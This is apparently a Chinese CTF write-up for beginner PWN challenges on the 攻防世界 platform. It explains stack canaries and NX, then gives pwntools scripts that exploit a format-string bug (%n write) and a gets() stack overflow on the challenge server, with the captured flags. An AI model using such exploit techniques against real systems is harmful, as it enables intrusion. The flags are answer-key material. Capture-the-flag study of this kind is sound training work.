攻防世界PWN新手练习区WP

近期笨逼菜鸡开始接触PWN 刷了刷攻防世界的题目 在这里记录下自己的学习成果

CGfsb

首先是PWN题的常规起手式 查壳查保护 捎带着看下程序信息
发现无壳 但是存在Canary保护和NX保护
在这里插入图片描述

这里先讲一下什么是Canary保护
Canary保护主要是用来防护栈溢出的 在开启Canary保护程序调用函数的时候 会在栈中压入一个随机Canary值 在函数结束的时候程序会判断Canary值是否发生变动 如果发生变动就认为是程序遭到了攻击 程序直接异常退出 Canary值通常和函数返回地址在栈中相连 主要是防护攻击者更改程序返回地址来执行shellcode
这里我们直接拿本题做例子
在这里插入图片描述可以明确看到程序现在在存储Canary值 我们在数据下硬件读写断点 然后让程序跑起来
在这里插入图片描述这里在函数末尾取出Canary值 如果与刚开始的值不一致 执行stack_chk_fail函数
对于如何绕过Canary保护 基本思路是利用各种漏洞 先泄漏出来Canary的地址 然后取出值 等溢出过后再还原 当然具体如何利用还得就题论题

同时也讲一下NX保护吧 NX保护一般是不可绕过的 他是禁止了栈执行 也就是即使你写入了shellcode 但是如果NX保护开启的话 也是不能在栈上执行的

回到本题 先随便执行下 就是输入用户名和留言 然后程序原样打印出来
在这里插入图片描述
没什么世纪大发现 那就常规操作 载入IDA吧
在这里插入图片描述
发现程序存在格式化字符串漏洞 然后理解下程序逻辑 简单来说就是将pwnme变量的值更改为8就能拿到flag了 双击pwnme看一下 发现pwnme变量还是一个在bss段的全局变量 那基本思路已经有了
在这里插入图片描述
解法基本就是通过格式化字符串漏洞更改pwnme的值了 那第一步就是测试程序的回显位了 这里我的回显位是在第十位
在这里插入图片描述
那基本信息获取的差不多了 就可以开始编写脚本了

from pwn import *
sh=remote("111.198.29.45","48339")
sh.recvuntil("please tell me your name:")
sh.sendline("Dust")
sh.recvuntil("leave your message please:")

payload=p32(0x0804A068)+'0000%10$n'

sh.sendline(payload)
sh.interactive()

执行脚本即可
在这里插入图片描述
得到flag:cyberpeace{bb8c9af83fb8e8913ed25c1d5cc41751}

when_did_you_born

照例 日常开局…
在这里插入图片描述
跑一下 没啥思路 直接载入IDA吧
在这里插入图片描述
简单理解下 就是程序要求变量v5的值最后为1926 而程序开始的输入不允许输入1926…初看是自相矛盾的…话说哪道Pwn题给的初始条件不是自相矛盾的… 在代码中发现gets函数…因为gets函数不会限制输入的字符个数 初步怀疑是栈溢出 双击v4查看程序栈图
在这里插入图片描述
没跑了 栈溢出 直接开始写脚本吧

这里解释下为什么程序开启了Canary保护依然可以使用栈溢出漏洞 这是因为Canary保护主要是防护函数的返回地址不被篡改的 从这里程序的栈图就能看出 Canary值的变量名就是var_8 如果我们切换到汇编窗口 就能看到最后的校验使用的就是这个var_8变量
在这里插入图片描述

from pwn import *
sh=remote("111.198.29.45","45209")
sh.recvuntil("What's Your Birth?")
sh.sendline("1925")
sh.recvuntil("What's Your Name?")

payload="A"*0x8+p64(1926)

sh.sendline(payload)
sh.interactive()

执行即可
在这里插入图片描述
得到flag:cyberpeace{5f65371d87fafa327d2c0d3e254cfab5}

hello_pwn

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值